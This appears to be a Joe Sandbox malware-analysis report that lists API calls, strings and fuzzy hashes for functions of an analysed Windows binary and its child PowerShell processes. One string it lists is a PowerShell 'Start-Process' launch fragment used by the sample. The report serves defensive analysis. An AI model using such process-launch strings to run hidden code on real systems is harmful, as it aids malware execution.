Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 9fb129647e176cd3e0b6eefdf17869654c11ebd745b3a0b4e0b644a53c5f52b6
Instruction ID: 1411825deb0915b316f48d7d1352871af45617ea9ddc7d940ffab2ca9fa279c5
Opcode Fuzzy Hash: 9fb129647e176cd3e0b6eefdf17869654c11ebd745b3a0b4e0b644a53c5f52b6
Instruction Fuzzy Hash: 8A111820E19203C1FD58B6754435DF9A3824F663F2E880B35E93E4A7C2ED2CB8934235

Function 00007FF767F09780 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF767F09A29

Part of subcall function 00007FF767F0F688: _invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0F6A5

Strings

UTF-16LEUNICODE, xrefs: 00007FF767F099CD
UTF-8, xrefs: 00007FF767F099AC
ccs, xrefs: 00007FF767F09975

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 38d272e447d5746b0ee3b6a85f6e63384077e4b6069fc838a17b2a89ee85e727
Instruction ID: 199cfb4f91f615062f578a4db62834e0f03cb07063e532dc615ec49f9b875fd4
Opcode Fuzzy Hash: 38d272e447d5746b0ee3b6a85f6e63384077e4b6069fc838a17b2a89ee85e727
Instruction Fuzzy Hash: FA81C272D0C242C9F775EE288274AF8EB949F027C6FD59034DA4D56395EE2DA8038321

Function 00007FF767EFB804 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF767EFB874
_CallSETranslator.LIBVCRUNTIME ref: 00007FF767EFB8BF

Strings

RCC, xrefs: 00007FF767EFB890
MOC, xrefs: 00007FF767EFB888

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 30b907a34009c3924f1289ebb5dfadb100318b6469519c0968d5c3143115a71d
Instruction ID: cd0fcc26f9e8eaecdcfe574afea44e1c91f9e06ba6ada99c5420533a595c359d
Opcode Fuzzy Hash: 30b907a34009c3924f1289ebb5dfadb100318b6469519c0968d5c3143115a71d
Instruction Fuzzy Hash: DA919373A08B81CAE711DF75D8502ADB7A0FB44788F98412AEA8D57B55DF3CD19ACB00

Function 00007FF767EF9E94 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF767EF9EBF
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF767EF9F56
RtlUnwindEx.KERNEL32 ref: 00007FF767EF9FB0

Strings

csm, xrefs: 00007FF767EF9F3D

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: d73933c8cc523cdd2746a819842a37e00f423e6638d35d2228c426cfb4e16dea
Instruction ID: 2c20a856746454924c1a24c8bc85a7c9e4ba6aa86357f22a73cf36038c24a014
Opcode Fuzzy Hash: d73933c8cc523cdd2746a819842a37e00f423e6638d35d2228c426cfb4e16dea
Instruction Fuzzy Hash: 2551B332B19602CADB14EF25E464A78B391EB44BD8FD84131FA8D47B48DF7DE84A8710

Function 00007FF767EFB594 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF767EFB5F3
_CallSETranslator.LIBVCRUNTIME ref: 00007FF767EFB63F

Strings

MOC, xrefs: 00007FF767EFB607
RCC, xrefs: 00007FF767EFB60F

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 0c9c0748ab2ccf05807d721b40c3b6d99c38ab84ebc95d48332250c1543fc0c9
Instruction ID: 4e26282e2e539d60045cd87580db2a730f010a6c1572119007127f430ef29658
Opcode Fuzzy Hash: 0c9c0748ab2ccf05807d721b40c3b6d99c38ab84ebc95d48332250c1543fc0c9
Instruction Fuzzy Hash: 8A619032908BC5C1D720AF25E4503AAB7A0FB85BC4F884225EB8C47B95DF3CE199CB10

Function 00007FF767EFBD84 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF767EFBDAC
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF767EFBE94

Strings

csm, xrefs: 00007FF767EFBDCE
csm, xrefs: 00007FF767EFBEE6

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: ced92a26e68f8faf10be867b2926ed9b68afcc563360ef92477b975877ea4a75
Instruction ID: b961ff5e359994e4a8bd7b93c07a98a89f6fa3949509d57d73fa241e539bfa60
Opcode Fuzzy Hash: ced92a26e68f8faf10be867b2926ed9b68afcc563360ef92477b975877ea4a75
Instruction Fuzzy Hash: 33519132908642CADB64AF219864369B7A0EB54BC4FD84135EA5D87F85CF3CE46ACB11

Function 00007FF767EF6290 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF767EF62FB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF767EF6343
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF767EF63D3

Strings

bad locale name, xrefs: 00007FF767EF63F6

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 1deee40651b4476868030aafa90c3e28cad5691699546a4096424e5a976d4dbe
Instruction ID: 0cf08b9cbf84940730fe30782a7b4175e89aa7bba3949d8e48818e684070ccc1
Opcode Fuzzy Hash: 1deee40651b4476868030aafa90c3e28cad5691699546a4096424e5a976d4dbe
Instruction Fuzzy Hash: 7B413B32B0AA41CAFB14EF70D4A03AC63A4AF44788FC84435EA4D67E59DE3CD51AD364

Function 00007FF767EF6AA4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF767EF6D26), ref: 00007FF767EF6ABA
GetProcAddress.KERNEL32(?,?,?,00007FF767EF6D26), ref: 00007FF767EF6ACA

Strings

kernel32.dll, xrefs: 00007FF767EF6AB3
GetTempPath2W, xrefs: 00007FF767EF6AC0

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetTempPath2W$kernel32.dll
API String ID: 1646373207-1846531799
Opcode ID: 6c157fc2c9eb0bafc852afba0f6158d2a57fd74ca7526d9592526048dfbc2ed9
Instruction ID: b155377452a1a24f11ed7d2db8793a0dedd9b42c9a9e1482281323ab08af1512
Opcode Fuzzy Hash: 6c157fc2c9eb0bafc852afba0f6158d2a57fd74ca7526d9592526048dfbc2ed9
Instruction Fuzzy Hash: 2CE0E572B14A46D1DE06AB11F9A48B5A321BFC8BC8FD55035C91D47324DE2CD44B8710

Function 00007FF767F05020 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF767F0509F
WriteFile.KERNEL32 ref: 00007FF767F05367
WriteFile.KERNEL32 ref: 00007FF767F053AD
GetLastError.KERNEL32 ref: 00007FF767F05463

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: c9748ac32c1102b20c7c6c1123d5a4a5edcc360f79a124e8f5ea6fbe1a7d5f71
Instruction ID: 03a5b6a552d704ed8ce67b64bfbd9436668ef8aa5df8c89cf557a667f253707e
Opcode Fuzzy Hash: c9748ac32c1102b20c7c6c1123d5a4a5edcc360f79a124e8f5ea6fbe1a7d5f71
Instruction Fuzzy Hash: 81D10D32B08A80C9E712DF65C460AECB7A1FB44BD9B948236DE5D97B89DE78D447C310

Function 00007FF767EF1340 Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF767EF1497
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF1513
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF1519
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF767EF153D

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy__std_exception_destroy
String ID:
API String ID: 2138705365-0
Opcode ID: 89188d226876ff831ad9afe282e06b0276ff154876618beabad931a82bcd60cb
Instruction ID: 11de3c77c36e5b24c0ad700c1806423b91c69efb816fdd219942359b1719f3b9
Opcode Fuzzy Hash: 89188d226876ff831ad9afe282e06b0276ff154876618beabad931a82bcd60cb
Instruction Fuzzy Hash: D851C572A18BC5C1EB10AB24E4613A9A361FB997D4FC49231FA9C42B95EF3CD4C6C710

Function 00007FF767EF6C40 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF767EF6C89
GetLastError.KERNEL32 ref: 00007FF767EF6C97
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00007FF767EF5699), ref: 00007FF767EF6CCC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00007FF767EF5699), ref: 00007FF767EF6CDA

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: b21d51b5a1aba21564247d1ac1f2f6c5ee14a898047ebc4b39465d7037f73d6f
Instruction ID: 6ab7bb6d2686621f190fed48e45ab49871ea317db5f721adfd32f85f1dcde070
Opcode Fuzzy Hash: b21d51b5a1aba21564247d1ac1f2f6c5ee14a898047ebc4b39465d7037f73d6f
Instruction Fuzzy Hash: 16212776A28B81C7E3609F12A45432EBBB4F799BD4FA40138EB8953B54DF3CD4068B14

Function 00007FF767EFBFBC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF767EFBFE6

Strings

csm, xrefs: 00007FF767EFC00B
csm, xrefs: 00007FF767EFC17A

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: ae2a62215a58026a0886f6dcf9f8c2e93cb3e5654c84a92589a235d849fb530a
Instruction ID: 13842c43a167481ac7ff17061a9cb39d5c8ac5945e1c698ad7bf59dc8277681e
Opcode Fuzzy Hash: ae2a62215a58026a0886f6dcf9f8c2e93cb3e5654c84a92589a235d849fb530a
Instruction Fuzzy Hash: 0F71B672A08681C6E7606F25D460779B7A0EB05BC9FE88235EE4C47E95CF3CD55AC710

Function 00007FF767EFC654 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF767EFC6FE
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF767EFC727

Strings

csm, xrefs: 00007FF767EFC827

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 07cf4bfd112d551ea8757e3c0906a061ffaf6e6ee70d054fe60862b4d3bcdff6
Instruction ID: 990b0835569f806b88dff9f8bf5568c79f5aa2b4ccc76825321e628a38f07e17
Opcode Fuzzy Hash: 07cf4bfd112d551ea8757e3c0906a061ffaf6e6ee70d054fe60862b4d3bcdff6
Instruction Fuzzy Hash: B3516D36608781C6DB20EB25E05026EB7A4F789BD4F980135EB8D4BB55CF3DE096CB10

Function 00007FF767EF66C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF683D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF767EF6843

Strings

powershell.exe -Command "Start-Process ', xrefs: 00007FF767EF67A7

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: powershell.exe -Command "Start-Process '
API String ID: 73155330-2541463610
Opcode ID: a5299bd422f5f1b3716e720325969913c96f5c5db3bfe6c2e7d02a0ae3824b60
Instruction ID: 395f60ebbf2d416e964c6bc005f82702e499bef0ad4bda695d538ac4907e38a1
Opcode Fuzzy Hash: a5299bd422f5f1b3716e720325969913c96f5c5db3bfe6c2e7d02a0ae3824b60
Instruction Fuzzy Hash: 7041A472B08682C2EF10AB56D5242A9A351AB44BE0FD84735EA6D07FD5EE3CE54A8310

Function 00007FF767F056B8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF767F057CF
GetLastError.KERNEL32 ref: 00007FF767F057F1

Strings

U, xrefs: 00007FF767F0577B

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 42c920046dc7a2b1a26b748f4d44017816129ea4c39c0289737a4b3c3130d930
Instruction ID: b9b448360c07ee77252e7c636e95567ceb23c9140e00d848f1e8e684f47e8841
Opcode Fuzzy Hash: 42c920046dc7a2b1a26b748f4d44017816129ea4c39c0289737a4b3c3130d930
Instruction Fuzzy Hash: 1B419F32B28A85C2DB20EF25E464BA9A7A0FB887D4F944031EE4D87798DF7CD542D750

Function 00007FF767EF9D80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF767EF11AF), ref: 00007FF767EF9DD0
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF767EF11AF), ref: 00007FF767EF9E11

Strings

csm, xrefs: 00007FF767EF9DFE

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 63a332ca40023c25e9a5d99e6c2caf2710dfa93a35880377e7f0d51da030b8ab
Instruction ID: e2d424d955a1bdb482bddbeb124d4cb54d82bcfebb4fdb9554c7563bd20edbd1
Opcode Fuzzy Hash: 63a332ca40023c25e9a5d99e6c2caf2710dfa93a35880377e7f0d51da030b8ab
Instruction Fuzzy Hash: 3B115E32608B4182EB619F25F454269B7E4FB88BD4FA94235EECC47B58DF3DC5568700

Function 00007FF767EF1230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF767EF123B
__std_exception_copy.LIBVCRUNTIME ref: 00007FF767EF1274

Strings

string too long, xrefs: 00007FF767EF1234

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Xinvalid_argument__std_exception_copystd::_
String ID: string too long
API String ID: 2536225881-2556327735
Opcode ID: 7013e128e2125b895d9d66df5116de0737d9dc45951b57089b93d1b7acbd90a4
Instruction ID: 69c44dbf1b0017378a324c1bfaba0ed72a30912f008b44d6441406e0434da17f
Opcode Fuzzy Hash: 7013e128e2125b895d9d66df5116de0737d9dc45951b57089b93d1b7acbd90a4
Instruction Fuzzy Hash: F6E06D71E04B44D0EB06AF21E8A01F8A360AF68794FC88131EE5C46751EE2CE1EBC320

Analysis Process: powershell.exePID: 6648, Parent PID: 6604COMMON

Executed Functions

Function 00007FFD9B873428 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

/T^, xrefs: 00007FFD9B8734E4

Memory Dump Source

Source File: 00000001.00000002.4195509046.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID: /T^
API String ID: 0-3578457345
Opcode ID: 4b9f36cf9457570822a0d2a4c3960dbbbcc40443ef06334a7b9d11580246ac06
Instruction ID: 82878a41ec36f5ea2b731441adb46a4398b0fc83149619dfda920c2012b95fe4
Opcode Fuzzy Hash: 4b9f36cf9457570822a0d2a4c3960dbbbcc40443ef06334a7b9d11580246ac06
Instruction Fuzzy Hash: 46318176A0E7D64FE3678BB998A60A53FB0EE2312470A01FBC4C58B0A3D5191A478752

Function 00007FFD9B8733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4195509046.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 240e77624845bd21eb498471991253802ac2a52bcd73a2482a697d82a952278d
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: 9201A73020CB0C4FD748EF0CE451AA6B3E0FB89324F10056DE58AC36A1DA32E882CB42

Analysis Process: powershell.exePID: 3084, Parent PID: 6648COMMON

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B973B9E Relevance: 1.9, Instructions: 1909COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4218389577.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9c76d7caea35ce44a933c2ba1b228fde39e6c172e4e00b39c59ba8de2b20aad
Instruction ID: e5af5aa57f2b7c742f77eea8a36a91ef3dc13f0480420d6c9ab3e0a8f4a2e381
Opcode Fuzzy Hash: f9c76d7caea35ce44a933c2ba1b228fde39e6c172e4e00b39c59ba8de2b20aad
Instruction Fuzzy Hash: A4D22361B2EA8D4FE7A9EB6888A567877D1EF65300F1901FED05DC72E3DE24AD418301

Function 00007FFD9B97418F Relevance: 1.3, Instructions: 1321
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

